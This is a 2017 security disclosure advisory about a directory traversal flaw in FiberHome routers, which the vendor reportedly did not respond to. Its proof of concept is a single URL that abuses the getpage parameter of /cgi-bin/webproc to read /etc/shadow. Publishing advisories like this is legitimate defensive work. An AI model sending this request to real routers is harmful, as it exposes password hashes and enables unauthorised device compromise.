SSD Advisory – FiberHome Directory Traversal

blogs.securiteam.com/index.php/archives/3472

SSD / Maor Schwartz October 13, 2017

Vulnerability Summary
The following advisory describes a directory traversal vulnerability found in FiberHome routers.

FiberHome Technologies Group “was established in 1974. After continuous and intensive development for over 40 years, its business has been extended to R&D, manufacturing, marketing & sales, engineering service, in 4 major areas: fiber-optic communications, data networking communications, wireless communication, and intelligentizing applications. In particular, it has been providing end-to- end solutions integrated with opto-electronic devices, opticpreforms, fiber & cables, and optical communication systems to many countries around the world.”

Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

Vendor response
We tried to contact FiberHome since September 6 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for the vulnerability.

Vulnerability details
User controlled input is not sufficiently sanitized when passed to */cgi-bin/webproc*.

/cgi-bin/webproc receives *getpage=* as parameter input.

When we pass the directory of a file as a parameter input with parameter *var:page*, we will get the file from the router.

Proof of Concept


```
1  http://+IP+ /cgi-bin/webproc?getpage=/etc/shadow&amp;var:language=en_us&amp;var:page=wizardfifth
```